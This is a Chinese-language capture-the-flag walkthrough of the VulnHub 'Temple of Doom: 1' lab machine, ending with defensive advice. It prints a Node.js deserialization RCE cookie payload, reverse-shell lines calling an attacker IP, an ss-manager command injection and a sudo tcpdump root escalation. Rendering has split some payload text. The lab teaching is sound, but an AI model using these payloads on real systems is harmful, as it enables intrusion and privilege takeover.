VulnHub-Temple of Doom: 1-靶机渗透学习
字数 1100 2025-08-15 21:33:19
Temple of Doom 靶机渗透教学文档
靶机概述
- 名称: Temple of Doom: 1
- 难度: 中级(CTF)
- 发布日期: 2018年6月8日
- 创建者: 0katz
- 测试环境: VirtualBox
- 目标: 获取root权限并找到flag.txt
- 特点: 提供2种提权方法
信息收集阶段
1. 网络扫描
使用nmap进行初始扫描:
nmap -sV <靶机IP>
发现开放端口:
- 22端口: SSH服务
- 666端口: Node.js Express框架Web应用
2. Web应用枚举
访问80端口无有用信息,使用工具扫描:
dirb http://<靶机IP>
nikto -h http://<靶机IP>
漏洞利用阶段
1. Node.js反序列化远程代码执行(CVE-2017-5941)
发现过程:
- 使用Burp Suite抓包发现Cookie值为Base64编码
- 解码后获得不完整的JSON字符串:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D - 修复格式后重新编码提交
漏洞利用:
构造恶意序列化对象执行命令:
{
"username": "_
$$
ND_FUNC
$$
_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)})}()"
}
Base64编码后提交,获得当前用户为nodeadmin
2. 获取反弹shell
修改payload获取交互式shell:
{
"username": "_
$$
ND_FUNC
$$
_function(){return require('child_process').execSync('bash -i >& /dev/tcp/<攻击机IP>/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)})}()"
}
在攻击机监听:
nc -lvnp 5555
权限提升阶段
1. 发现fireman用户
在/home目录发现fireman用户,但无访问权限。发现该用户运行了ss-manager进程。
2. 利用ss-manager命令执行漏洞
步骤:
- 检查8839端口(UDP):
nc -u 127.0.0.1 8839 - 构造恶意JSON执行命令:
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"} - 获取fireman用户的shell:
add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/<攻击机IP>/6666 0>&1||"} - 在攻击机监听新端口:
nc -lvnp 6666
3. 利用tcpdump提权
发现fireman有sudo权限可执行tcpdump:
-
创建反弹shell脚本:
echo "nc -e /bin/bash <攻击机IP> 7777" > /tmp/shell.sh chmod +x /tmp/shell.sh -
利用tcpdump执行:
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root参数说明:
-i eth0: 指定网络接口-w /dev/null: 不保存捕获数据-W 1 -G 1: 限制文件数量为1-z /tmp/shell.sh: 旋转后执行脚本-Z root: 以root权限执行
-
在攻击机监听:
nc -lvnp 7777
最终阶段
- 获取完整TTY:
python -c 'import pty; pty.spawn("/bin/bash")' - 查找flag:
find / -name flag.txt 2>/dev/null
技术要点总结
- Node.js反序列化漏洞:
- 利用`_
\[ND_FUNC \]
_`标记执行任意代码
- 通过
child_process模块执行系统命令
-
ss-manager漏洞:
- 通过UDP端口8839发送恶意配置
- 利用
method字段的命令注入特性
-
tcpdump提权:
- 利用
-z参数执行任意脚本 - 结合
-Z root以root权限执行
- 利用
防御建议
- 及时更新Node.js和相关组件
- 对用户输入进行严格过滤和验证
- 限制sudo权限,避免不必要的命令执行
- 对敏感服务进行网络隔离
- 定期审计系统配置和权限设置